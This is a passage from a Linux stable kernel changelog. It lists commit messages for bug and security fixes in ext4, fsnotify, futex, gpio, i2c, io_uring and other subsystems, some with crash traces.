    Documentation/memory-barriers.txt requires all fields of one bitfield
    to be protected by one lock for exactly this reason.  No lock is taken
    or documented for these flags, and the prctls need no privilege, so any
    process can hit the race against its own ancestors or descendants, or
    between two of its own threads.
    
    Make is_child_subreaper and has_child_subreaper separate bool members.
    Each store then has its own memory location and no read-modify-write
    of a neighbour.  The readers and their locking are unchanged.
    
    autoreap stays a bit-field and so shares a memory location only with
    timer_create_restore_ids.  That pair is race-free: autoreap is stored
    exactly once, in copy_process() before the new signal_struct is
    reachable by any other task, and timer_create_restore_ids is only
    stored to the signal_struct of an already running process.
    
    Fixes: 749860ce2427 ("prctl: propagate has_child_subreaper flag to every descendant")
    Signed-off-by: Nickolai Zeldovich <nickolai@csail.mit.edu>
    Link: https://patch.msgid.link/20261011123440.768054-1-nickolai@csail.mit.edu
    Acked-by: Oleg Nesterov <oleg@redhat.com>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
ext4: free the sbi after a grace period [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:51 2026 +0200

    ext4: free the sbi after a grace period
    
    commit c17b44266a1f9fcb49b894d4611d1254bf1aa313 upstream.
    
    ext4_get_link() follows a symlink that keeps its target in a data block
    in rcu pathwalk mode with ext4_getblk(EXT4_GET_BLOCKS_CACHED_NOWAIT).
    That reads s_mount_state in the ASSERT() of ext4_getblk() and again in
    ext4_es_lookup_extent(), and the lookup bumps the extent status hit or
    miss counter, all through sb->s_fs_info.
    
    ext4_put_super() destroys those counters, clears sb->s_fs_info and frees
    the sbi without waiting for a grace period. A pathwalk that is still in
    ext4_get_link() when the last reference to the mount goes away then
    dereferences a NULL s_fs_info, the freed sbi or the destroyed percpu
    counters.
    
    With a pathwalk held up in ext4_get_link() while the last reference
    goes away:
    
      KASAN: null-ptr-deref in range [0x00000000000000a8-0x00000000000000af]
      RIP: 0010:ext4_getblk+0xf0/0x640
      Call Trace:
       <TASK>
       ext4_get_link+0x26c/0x410
       pick_link+0xf96/0x1780
       step_into_slowpath+0x9b8/0x1250
       path_lookupat+0x484/0xb00
       filename_lookup+0x1f1/0x5b0
       vfs_statx+0xd7/0x3b0
       vfs_fstatat+0x4d/0x90
       __do_sys_newfstatat+0xa0/0x100
       do_syscall_64+0x10e/0x5e0
       entry_SYSCALL_64_after_hwframe+0x77/0x7f
    
    So far that has been hard to hit. umount(2) waits for a grace period in
    namespace_unlock() before it drops the mount, so only a mount whose last
    reference goes away elsewhere, like the close of a file or a chdir out of
    a lazily unmounted directory, can race a walker.
    
    Keep sb->s_fs_info and free the sbi together with the extent status
    counters after a grace period. Split the counters out of
    ext4_es_unregister_shrinker() for that. The shrinker still gets wasted
    in ext4_put_super(), the counters go with the sbi.
    
    Fixes: 6493792d3299 ("ext4: convert symlink external data block mapping to bdev")
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-1-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
firewire: core: fix race condition in split transaction handling [+ + +]
Author: Takashi Sakamoto <o-takashi@sakamocchi.jp>
Date:   Sun Oct 18 11:55:04 2026 +0900

    firewire: core: fix race condition in split transaction handling
    
    [ Upstream commit 7f9f2d6abc40f79e802b4063859eda343043b85c ]
    
    For a split transaction, either fw_core_handle_response() or
    split_transaction_timeout_callback() may manipulate the same transaction
    entry in the pending transaction list. The return value of timer_delete()
    is used to determine which function handles the entry. If the transaction
    is a split transaction and timer_delete() returns zero, the timeout
    callback may already be running. In this case, the response handler must
    leave the entry in the list for the timeout callback to remove.
    
    A previous code refactoring broke this behavior, introducing a race
    condition in which both functions could process the same transaction.
    This could lead to a use-after-free on the transaction initiator side.
    
    Fix the regression by ensuring that the response handler does not process
    the transaction when timer_delete() returns zero. The timeout callback is
    responsible for removing the entry from the pending transaction list.
    
    Fixes: fa2dc2710076 ("firewire: core: code refactoring to find and pop transaction entry")
    Link: https://lore.kernel.org/r/20261018025504.290598-1-o-takashi@sakamocchi.jp
    Signed-off-by: Takashi Sakamoto <o-takashi@sakamocchi.jp>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
fsnotify: prevent mark additions during connector teardown [+ + +]
Author: Kyle Zeng <kylebot@openai.com>
Date:   Fri Oct 2 05:59:02 2026 +0000

    fsnotify: prevent mark additions during connector teardown
    
    commit 36ebddca56b9d8993d6dc984fdecc748ee1f5e06 upstream.
    
    fsnotify_destroy_marks() keeps a reference to its current mark while it
    drops conn->lock to destroy the mark. This stabilizes the forward-walk
    cursor, but does not prevent a new mark from being inserted before it.
    For example, an inotify watch re-added after IN_IGNORED sorts before the
    old, detached mark for the same group. The walk can miss the replacement
    and then detach the entire connector from the object.
    
    The replacement is still on its group's marks_list and, for inotify, in
    the watch IDR. The group mutex no longer protects the connector's object
    from disappearing. An unprivileged fdinfo read racing the final detach
    can consequently call igrab(NULL):
    
      BUG: KASAN: null-ptr-deref in igrab+0x24/0x100
      Write of size 4 at addr 0000000000000148
      Call Trace:
       igrab+0x24/0x100
       inotify_show_fdinfo+0x1dc/0x5e0
       seq_show+0x397/0x690
    
    Set a DESTROYING flag under conn->lock before starting the walk, and
    reject new marks on that connector with -ENOENT. The existing add-mark
    error paths undo the temporary group-list entry and the backend's watch
    allocation. Do not wait for teardown while holding the group mutex,
    which the destroyer needs. Once the old connector is detached, an add
    can install a fresh connector as before.
    
    This closes the insertion race for all object types using the common
    connector teardown, without changing the mark reference or SRCU lifetime
    rules.
    
    Fixes: 6b3f05d24d35 ("fsnotify: Detach mark from object list when last reference is dropped")
    Cc: stable@vger.kernel.org
    Signed-off-by: Kyle Zeng <kylebot@openai.com>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
futex: Fix mm reuse handling for FUT_OFF_MMSHARED [+ + +]
Author: Jann Horn <jannh@google.com>
Date:   Tue Sep 29 18:31:32 2026 +0200

    futex: Fix mm reuse handling for FUT_OFF_MMSHARED
    
    commit 3267512ad1c2cc0c7768c5b014dc2cceb398a801 upstream.
    
    A FUT_OFF_MMSHARED futex is a shared futex that refers to an MM.
    It is possible for a process to wait on a shared futex with a different MM
    because a FUT_OFF_INODE waiter can be requeued onto a FUT_OFF_MMSHARED
    futex by another process.
    This can cause FUT_OFF_MMSHARED waiters on a freed MM to consume
    wakeups intended for a newly allocated MM at the same address.
    
    Fix it by keying FUT_OFF_MMSHARED using a unique 64-bit per-MM ID.
    Leave private futexes as before to avoid influencing the performance of the
    hotpath.
    
    (Multi-threaded processes typically implicitly use FUT_OFF_MMSHARED by
    setting clear_child_tid such that it points into anonymous memory, which
    causes mm_release() in a multi-threaded mm to perform FUTEX_WAKE.)
    
    Fixes: 222993395ed3 ("futex: Remove pointless mmgrap() + mmdrop()")
    Closes: https://lore.kernel.org/r/CAG48ez0dLBpc3QtbAhMMVNHwHL94iHh2G+h-=BVFR4dDuzZr1g@mail.gmail.com/
    Signed-off-by: Jann Horn <jannh@google.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Link: https://patch.msgid.link/20260929-futex-mmshared-fix-v1-1-262b1ffeb3d0@google.com
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
genirq/proc: Fix missing CPU header in /proc/interrupts [+ + +]
Author: Haris Okanovic <harisokn@amazon.com>
Date:   Fri Sep 11 13:31:59 2026 -0500

    genirq/proc: Fix missing CPU header in /proc/interrupts
    
    commit e74798f2f8e1562f2bbd2fed8d81929eeef39ffc upstream.
    
    irq_seq_show() must be idempotent since it may be called multiple times
    to render the same record, e.g. when seq_file's buffer is exceeded. It
    emits the CPU header behind the one-shot print_header flag, which the
    first pass clears, so the header is lost with the discarded buffer.
    
    This can be seen on large systems, such as 8g.48xl (192 CPUs) and
    8i.96xl (384 CPUs) AWS instance types:
    
      $ head -1 /proc/interrupts
         9:          0          0 ...  0  GICv3  25 Level  vgic
    
    Replace print_header with the position of the first record and include
    the header whenever that record is emitted.
    
    Fixes: 171cc0d9eed1 ("genirq/proc: Speed up /proc/interrupts iteration")
    Signed-off-by: Haris Okanovic <harisokn@amazon.com>
    Signed-off-by: Thomas Gleixner <tglx@kernel.org>
    Tested-by: Michael Kelley <mhklinux@outlook.com>
    Reviewed-by: Radu Rendec <radu@rendec.net>
    Link: https://patch.msgid.link/20260911-dev-harisokn-proc-interrupts-fix-b4-v1-1-f9ff208efcfa@amazon.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
gpio: mxc: fix both_edges bit operations [+ + +]
Author: Peng Fan <peng.fan@nxp.com>
Date:   Tue Oct 13 14:01:10 2026 +0800

    gpio: mxc: fix both_edges bit operations
    
    [ Upstream commit b7719c575dec69146f6d537fd616b27083c0cf45 ]
    
    gpio_set_irq_type() can be called concurrently for different pins on
    the same port.  The IRQ core serializes per irq descriptor, but
    different pins have different descriptors, so on SMP systems two
    concurrent gpio_set_irq_type() calls for pins on the same port run
    without mutual exclusion.
    
    The read-modify-write of port->both_edges is performed outside the
    port-wide scoped_guard(gpio_generic_lock_irqsave) section, so
    concurrent updates for different pins can overwrite each other,
    causing missed interrupts or stuck IRQ lines on dual-edge triggered
    pins.
    
    The original uniprocessor MXC SoCs were not affected; the race
    became reachable on multi-core i.MX7 and i.MX8 SoCs that reuse this
    driver.
    
    Convert both_edges from u32 to unsigned long and use set_bit(),
    clear_bit(), and test_bit() to make the modifications atomic.
    
    Fixes: 910862ec092c ("mxc: emulate GPIO interrupt on both-edges")
    Reviewed-by: Frank Li <Frank.Li@nxp.com>
    Signed-off-by: Peng Fan <peng.fan@nxp.com>
    Reviewed-by: Linus Walleij <linusw@kernel.org>
    Reviewed-by: Andy Shevchenko <andy@kernel.org>
    Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-2-c4d769587d3e@nxp.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

gpio: mxc: fix race between chained IRQ handler install and probe completion [+ + +]
Author: Peng Fan <peng.fan@nxp.com>
Date:   Tue Oct 13 14:01:09 2026 +0800

    gpio: mxc: fix race between chained IRQ handler install and probe completion
    
    [ Upstream commit 38d44f78f041ffe60c8e2443b99434a199e7541d ]
    
    mxc_update_irq_chained_handler() is called before the IRQ domain, the
    generic IRQ chip, and the port list entry are set up. If an interrupt
    arrives in that window:
    
     - mx3_gpio_irq_handler() calls generic_handle_domain_irq() with
       port->domain still NULL.
     - mx2_gpio_irq_handler() walks mxc_gpio_ports, but the port has not
       been added to the list yet.
    
    Additionally, if any of the subsequent probe steps
    (gpio_generic_chip_init(), devm_gpiochip_add_data(),
    irq_domain_create_legacy(), or mxc_gpio_init_gc()) fail, the error
    paths never unregister the chained handler, leaving a dangling handler
    that points at freed memory.
    
    Move the handler installation after all its dependencies are ready and
    after list_add_tail(), so the handler is never live while the data
    structures it touches are incomplete, and is never installed if probe
    fails.
    
    Fixes: 5f6d1998adeb ("gpio: mxc: release the parent IRQ in runtime suspend")
    Assisted-by: LLM
    Reviewed-by: Frank Li <Frank.Li@nxp.com>
    Signed-off-by: Peng Fan <peng.fan@nxp.com>
    Reviewed-by: Linus Walleij <linusw@kernel.org>
    Reviewed-by: Andy Shevchenko <andy@kernel.org>
    Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-1-c4d769587d3e@nxp.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

gpio: mxc: fix race between gpiochip registration and IRQ domain setup [+ + +]
Author: Peng Fan <peng.fan@nxp.com>
Date:   Tue Oct 13 14:01:12 2026 +0800

    gpio: mxc: fix race between gpiochip registration and IRQ domain setup
    
    [ Upstream commit 205cccd06e545694754e1bf8d626ea96e742cd8a ]
    
    devm_gpiochip_add_data() makes the GPIO chip visible to consumers
    immediately. Since the chip sets .to_irq = mxc_gpio_to_irq, which calls
    irq_find_mapping(port->domain, offset), any to_irq() call between
    gpiochip registration and IRQ domain creation will operate on a NULL
    domain.
    
    Fix by moving devm_gpiochip_add_data() after the IRQ domain and generic
    irq chip are fully initialized, ensuring port->domain and the irq chip
    handlers are ready before the chip becomes visible to consumers.
    
    Fixes: d37a65bb4663 ("gpio/mxc: Move Freescale MXC gpio driver to drivers/gpio")
    Signed-off-by: Peng Fan <peng.fan@nxp.com>
    Reviewed-by: Linus Walleij <linusw@kernel.org>
    Reviewed-by: Frank Li <Frank.Li@nxp.com>
    Reviewed-by: Andy Shevchenko <andy@kernel.org>
    Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-4-c4d769587d3e@nxp.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

gpio: mxc: fix wakeup_pads bit operations [+ + +]
Author: Peng Fan <peng.fan@nxp.com>
Date:   Tue Oct 13 14:01:11 2026 +0800

    gpio: mxc: fix wakeup_pads bit operations
    
    [ Upstream commit 170aeff46fb54f41545c85a72aec525aebc79d44 ]
    
    gpio_set_wake_irq() can be called concurrently for different pins on
    the same port. The writer-vs-writer race is the concern: two concurrent
    gpio_set_wake_irq() calls for different pins on the same port both do
    a non-atomic read-modify-write on the same wakeup_pads word. The old
    |= and &= compile to separate load/modify/store instructions that can
    interleave, losing one CPU's update.
    
    assign_bit() uses an atomic RMW instruction, so concurrent writers to
    different bits in the same word are safe.
    
    The reader side (for_each_set_bit in noirq_suspend, wakeup_pads > 0)
    runs in noirq context where no concurrent writer can execute, so
    reader atomicity is not needed.
    
    wakeup_pads is a u32, while assign_bit() operates on unsigned long
    pointers. On 64-bit platforms, this causes an 8-byte read-modify-write
    on a 4-byte field, corrupting the adjacent is_pad_wakeup. So change
    wakeup_pads to unsigned long and reorder to avoid wasting words.
    
    And fix the enable/disable path unconditionally sets/clears the
    wakeup_pads bit even when enable_irq_wake()/disable_irq_wake() fails.
    Only update the bit on success.
    
    Fixes: f60c9eac54af ("gpio: mxc: enable pad wakeup on i.MX8x platforms")
    Assisted-by: LLM
    Reviewed-by: Frank Li <Frank.Li@nxp.com>
    Signed-off-by: Peng Fan <peng.fan@nxp.com>
    Reviewed-by: Andy Shevchenko <andy@kernel.org>
    Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-3-c4d769587d3e@nxp.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

gpio: nct6694: Mark the GPIO controller as sleeping [+ + +]
Author: Ming Yu <a0282524688@gmail.com>
Date:   Wed Oct 7 17:20:50 2026 +0800

    gpio: nct6694: Mark the GPIO controller as sleeping
    
    [ Upstream commit fcbc48dc650d2f58bfe19c4486830de0e9cad62e ]
    
    The GPIO callbacks take a mutex and issue USB transfers, so this GPIO
    chip must not be used in atomic context. Change the can_sleep switch in
    struct gpio_chip to true.
    
    Fixes: 611a995e8ae1 ("gpio: Add Nuvoton NCT6694 GPIO support")
    Signed-off-by: Ming Yu <a0282524688@gmail.com>
    Link: https://patch.msgid.link/20261007092102.3768818-2-a0282524688@gmail.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

gpio: shared: fix use-after-free bug when adding shared proxies [+ + +]
Author: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Date:   Wed Oct 14 11:38:25 2026 +0200

    gpio: shared: fix use-after-free bug when adding shared proxies
    
    commit bd22f7e63509fa758cf500d9af3e88a3d3df96be upstream.
    
    The GPIO lookup table can stay alive for longer than the kobject whose
    name string's address we're assigning to lookup->dev_id. Fix a potential
    UAF by duplicating the string.
    
    Cc: stable@vger.kernel.org
    Fixes: a060b8c511ab ("gpiolib: implement low-level, shared GPIO support")
    Reviewed-by: Linus Walleij <linusw@kernel.org>
    Link: https://patch.msgid.link/20261014-gpio-shared-fwnode-lookup-v4-1-2253ad645fd6@oss.qualcomm.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

gpio: shared: gracefully handle no-device lookup of shared GPIOs [+ + +]
Author: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Date:   Wed Oct 14 11:38:26 2026 +0200

    gpio: shared: gracefully handle no-device lookup of shared GPIOs
    
    commit cf73c3fc03c43a8a86fd487c62390b4744eff9ec upstream.
    
    We use platform lookup tables for shared GPIOs. This mechanism needs a
    struct device to work so fwnode-based lookup with no device associated
    currently causes a NULL-pointer deference.
    
    Adding this functionality will require a larger rework and it has never
    worked anyway so add a check that allows the kernel to gracefully handle
    this situation with an error ahead of implementing that functionality as
    a new feature.
    
    Cc: stable@vger.kernel.org
    Reported-by: Abel Vesa <abelvesa@kernel.org>
    Fixes: a060b8c511ab ("gpiolib: implement low-level, shared GPIO support")
    Link: https://patch.msgid.link/20261014-gpio-shared-fwnode-lookup-v4-2-2253ad645fd6@oss.qualcomm.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths [+ + +]
Author: Kent Gibson <warthog618@gmail.com>
Date:   Thu Oct 15 10:57:49 2026 +0800

    gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
    
    [ Upstream commit c28846ca1ac6134881114d272314623c8433e372 ]
    
    A drive-by review by Sashiko reports that, after a failed call to
    gpiochip_set_multiple(), gpiod_set_array_value() returns abruptly,
    bypassing the freeing of possibly alloced bitmaps, potentially leaking
    memory. It is an unlikely error path, but is possible.
    
    Defer the return code check until after the bitmap_free() block.
    
    Fixes: 9b407312755f ("gpiolib: rework the wrapper around gpio_chip::set_multiple()")
    Reported-by: Sashiko <sashiko-bot@kernel.org>
    Link: https://lore.kernel.org/linux-gpio/sashiko-outbox-168233@kernel.org/
    Signed-off-by: Kent Gibson <warthog618@gmail.com>
    Link: https://patch.msgid.link/20261015025749.47039-1-warthog618@gmail.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
i2c: qcom-cci: Fix HALT_ACK reset request being dropped [+ + +]
Author: Loic Poulain <loic.poulain@oss.qualcomm.com>
Date:   Mon Oct 12 14:54:56 2026 +0200

    i2c: qcom-cci: Fix HALT_ACK reset request being dropped
    
    commit 195f3d74b5de98969dc4fad956393bb00787efd1 upstream.
    
    A HALT_ACK interrupt indicates that the corresponding I2C master has
    entered the halted state and must be reset before further operation.
    
    The M0 and M1 HALT_ACK status bits may be asserted simultaneously in a
    single interrupt. However, the interrupt handler currently overwrites
    the reset mask when processing each HALT_ACK condition, causing the
    first reset request to be lost if both events are reported together.
    
    Accumulate reset requests instead of overwriting them so that both
    masters are properly reset when M0 and M1 HALT_ACK events occur in the
    same interrupt.
    
    Fixes: e517526195de4 ("i2c: Add Qualcomm CCI I2C driver")
    Signed-off-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
    Cc: <stable@vger.kernel.org> # v5.8+
    Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
    Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
    Link: https://patch.msgid.link/20261012-cci-fixes-v1-1-8cd4eb1fc5f9@oss.qualcomm.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

i2c: qcom-geni: Restore the source-clock selection policy [+ + +]
Author: Abel Vesa <abel.vesa@oss.qualcomm.com>
Date:   Mon Sep 28 16:58:47 2026 +0300

    i2c: qcom-geni: Restore the source-clock selection policy
    
    [ Upstream commit 8cb5c17be3a2fadc41075d04ce1c24c831546aaf ]
    
    Currently, the source clock lookup prefers 32 MHz whenever that rate is
    available, regardless of the rate configured by the platform. Before the
    switch to looking up the clock index, the driver used the 32 MHz timing
    table only if the current source clock rate was 32 MHz, and the 19.2 MHz
    table otherwise.
    
    On X1E80100 CRD, this results in switching the source clock from 19.2 MHz
    to 32 MHz, which causes intermittent failures when probing the I2C HID
    keyboard. These range from corrupted HID descriptors to failed resets
    and transfer timeouts, which also affect the touchpad on the same bus.
    
    Restore the original selection policy: use 32 MHz if already selected,
    otherwise request 19.2 MHz. Look up the index for the selected rate and
    keep the check that rejects higher-frequency multiples. This retains
    the dynamic clock index lookup without preferring 32 MHz on platforms
    that previously used 19.2 MHz. Report the requested rate if the lookup
    fails.
    
    Fixes: cb97bf3d4f91 ("i2c: qcom-geni: Fix hardcoded clock index in SE_GENI_CLK_SEL")
    Assisted-by: LLM
    Signed-off-by: Abel Vesa <abel.vesa@oss.qualcomm.com>
    Tested-by: Hasty Heat <hastyheat@gmail.com>
    Tested-by: Mitchell Augustin <mitchell.augustin@canonical.com>
    Reviewed-by: Mitchell Augustin <mitchell.augustin@canonical.com>
    Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
    Link: https://patch.msgid.link/20260928-b4-i2c-qcom-geni-preserve-source-clock-v1-1-9aded7552a76@oss.qualcomm.com
    Signed-off-by: Sasha Levin <sashal@kernel.org>

i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() [+ + +]
Author: Wentao Liang <vulab@iscas.ac.cn>
Date:   Wed Sep 16 07:06:31 2026 +0000

    i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
    
    commit aaabefc79b0ff0018e8e3832169bbe359d0551fc upstream.
    
    In wmt_i2c_probe(), i2c->clk is acquired using of_clk_get(). If any
    subsequent operation fails or when the module is unloaded, the clock
    reference count is never decremented via clk_put(), leading to a
    resource leak.
    
    Switch to devm_clk_get() so that the clock is automatically managed
    and released.
    
    Fixes: 560746eb79d3 ("i2c: vt8500: Add support for I2C bus on Wondermedia SoCs")
    Cc: stable@vger.kernel.org
    Signed-off-by: Wentao Liang <vulab@iscas.ac.cn>
    Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
    Link: https://patch.msgid.link/20260916070631.1965713-1-vulab@iscas.ac.cn
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

i2c: xiic: restore non-managed runtime PM to fix clk WARN flood [+ + +]
Author: Abdurrahman Hussain <abdurrahman@nexthop.ai>
Date:   Wed Oct 14 16:56:55 2026 -0700

    i2c: xiic: restore non-managed runtime PM to fix clk WARN flood
    
    commit d33373c565af9c8a28776af02bd20ba6e5724211 upstream.
    
    The devres conversion replaced manual pm_runtime_enable()/disable() with
    devm_pm_runtime_set_active_enabled() and dropped the remove-time runtime
    PM teardown. The managed release tears runtime PM down in the wrong
    order: it calls pm_runtime_dont_use_autosuspend() before
    pm_runtime_disable(), i.e. while runtime PM is still enabled, and devres
    is LIFO so the devm_clk_get_enabled() release runs afterwards.
    
    At remove(), pm_runtime_put_sync() leaves the device active with the
    autosuspend timer armed. Clearing use_autosuspend then makes rpm_idle()
    suspend immediately, and xiic_i2c_runtime_suspend() clk_disable()s the
    clock. The later devm_clk_get_enabled() release clk_disable_unprepare()s
    the already-disabled clock, so clk_core_disable() WARNs ("clkN already
    disabled") on every teardown.
    
    Drop the managed helper and restore the non-managed runtime PM setup and
    teardown, so runtime PM is enabled once in probe and disabled once in
    remove and the clock enable count stays balanced.
    
    Order the remove teardown so runtime PM is disabled before the usage
    count is dropped: pm_runtime_disable() followed by pm_runtime_put_noidle()
    instead of pm_runtime_put_sync(). Dropping the count first with autosuspend
    still enabled arms the autosuspend timer, and a preemption before
    pm_runtime_disable() lets it expire, suspend the device and clk_disable()
    the clock, which the devm release then disables again - the same WARN.
    
    Restore the non-managed IRQ request as well. The probe error paths now
    unwind runtime PM by hand via goto, and a devm-registered handler is only
    freed later during devres unwind, so it would stay live across the manual
    teardown (and across any future failing step added after it). Request the
    IRQ with request_threaded_irq() and free it explicitly in the probe error
    path and in remove. The probe error path also clears use_autosuspend, to
    match the teardown in remove().
    
    Fixes: 50c63491ff26 ("i2c: xiic: switch to devres managed APIs")
    Signed-off-by: Abdurrahman Hussain <abdurrahman@nexthop.ai>
    Cc: <stable@vger.kernel.org> # v7.1+
    Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
    Link: https://patch.msgid.link/20261014-i2c-xiic-restore-runtime-pm-teardown-v8-1-40668c270069@nexthop.ai
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
io_uring/cancel: don't spin on local work the task can't run [+ + +]
Author: Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
Date:   Thu Oct 8 15:16:02 2026 -0400

    io_uring/cancel: don't spin on local work the task can't run
    
    commit fddcf4c5321b3ea5f72166c3fd36a9d1c34f80c7 upstream.
    
    io_uring_cancel_generic() refuses to sleep while any ring on the exiting
    task's tctx has local work pending. It assumes the task is that ring's
    submitter and that the next io_uring_try_cancel_requests() pass will run
    the work. This does not hold for a ring that was still
    IORING_SETUP_R_DISABLED when the task got its tctx node from
    io_uring_create() or io_ringfd_register(). The submitter is set later by
    IORING_REGISTER_ENABLE_RINGS, possibly from another task, and only the
    submitter may run local work on an IORING_SETUP_DEFER_TASKRUN ring. To
    the exiting task the work stays pending forever, the loop never reaches
    schedule(), and the task trips the WARN_ON_ONCE() once and then spins in
    do_exit().
    
    An unprivileged user can set this up at will by creating a disabled
    ring, having a child enable it and stop, posting to the ring with
    IORING_OP_MSG_RING and exiting with a request in flight that only the
    child can complete. The exiting thread burns a CPU until the child runs
    or dies, and with panic_on_warn set the WARN panics the kernel.
    
    Fix by skipping the sleep only when io_allowed_defer_tw_run() allows the
    task to run the work. This is reasonable since work it cannot run cannot
    complete any of its requests either, so nothing is lost by sleeping.
    Drop the WARN_ON_ONCE() since handing a disabled ring to another thread
    is a supported scenario, not a bug state.
    
    Fixes: 360cd42c4e95 ("io_uring: optimise io_req_local_work_add")
    Reported-by: AutonomousCodeSecurity@microsoft.com
    Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
    Link: https://patch.msgid.link/20261008191602.45101-1-cenzhang@linux.microsoft.com
    Signed-off-by: Jens Axboe <axboe@kernel.dk>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
iommupt/kunit: Use if_changed_rule for the kunit [+ + +]
Author: Jason Gunthorpe <jgg@ziepe.ca>
Date:   Tue Oct 13 10:13:30 2026 -0300

    iommupt/kunit: Use if_changed_rule for the kunit
    
    [ Upstream commit 4bcfe29021993cb167fd9bbdb849f7d7247a166f ]
    
    Use if_changed_rule so rule_cc_o_c runs cmd_save_c_flags for the kunit
    objects. Without the saved flags CONFIG_LTO_CLANG_THIN_DIST runs the
    ThinLTO backend with no --target and generates x86_64 code from arm64
    bitcode.
    
    Fixes: 1dd4187f53c3 ("iommupt: Add a kunit test for Generic Page Table")
    Reported-by: kernel test robot <lkp@intel.com>
    Closes: https://lore.kernel.org/oe-kbuild-all/202610110841.120JzAJG-lkp@intel.com/
    Assisted-by: LLM
    Signed-off-by: Jason Gunthorpe <jgg@nvidia.com>
    Signed-off-by: Joerg Roedel <joerg.roedel@amd.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
ipc: drop the mqueue mount with kern_unmount() on setup failure [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:55 2026 +0200

    ipc: drop the mqueue mount with kern_unmount() on setup failure
    
    commit f0e48172a59e517e613b73f73cc35f24fd123aeb upstream.
    
    mq_init_ns() creates the mqueue mount with fc_mount_longterm(), so its
    ->mnt_ns is MNT_NS_INTERNAL. When setting up the mqueue or ipc sysctls
    or msg_init_ns() fails afterwards, create_ipc_ns() drops it with a plain
    mntput(). With ->mnt_ns set that takes the fast path of
    mntput_no_expire(). The count drops to zero and nothing ever kills the
    mount, so the mount and the mqueue superblock are leaked.
    
    Commit dc55e35f9e81 ("ipc: Store mqueue sysctls in the ipc namespace")
    added the first failure path after mq_init_ns() and never dropped the
    mount. Commit 7229d74e5e8c ("ipc: create_ipc_ns: drop mqueue mount on
    sysctl setup failure") tried to fix that with a mntput() but that
    doesn't help for a long-term mount.
    
    Use kern_unmount(). free_ipc() open-codes the same thing for a namespace
    that made it.
    
    Fixes: dc55e35f9e81 ("ipc: Store mqueue sysctls in the ipc namespace")
    Fixes: 7229d74e5e8c ("ipc: create_ipc_ns: drop mqueue mount on sysctl setup failure")
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-5-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
ipv4: avoid divide by zero in fib_rebalance [+ + +]
Author: Zihan Xi <zihanx@nebusec.ai>
Date:   Thu Aug 27 18:25:14 2026 +0000

    ipv4: avoid divide by zero in fib_rebalance
    
    commit 5046d2880fec7d49ebed2fd2866747ee1d06ad71 upstream.
    
    fib_rebalance() computes the total eligible nexthop weight in one pass
    and programs upper bounds in a second pass. A concurrent change to
    ignore_routes_with_linkdown can make the first pass return zero while
    the second pass sees an eligible nexthop, resulting in division by zero.
    
    If the first pass reports a zero total, set each nexthop upper bound to
    -1 and skip the division. This matches the IPv6 fix in commit
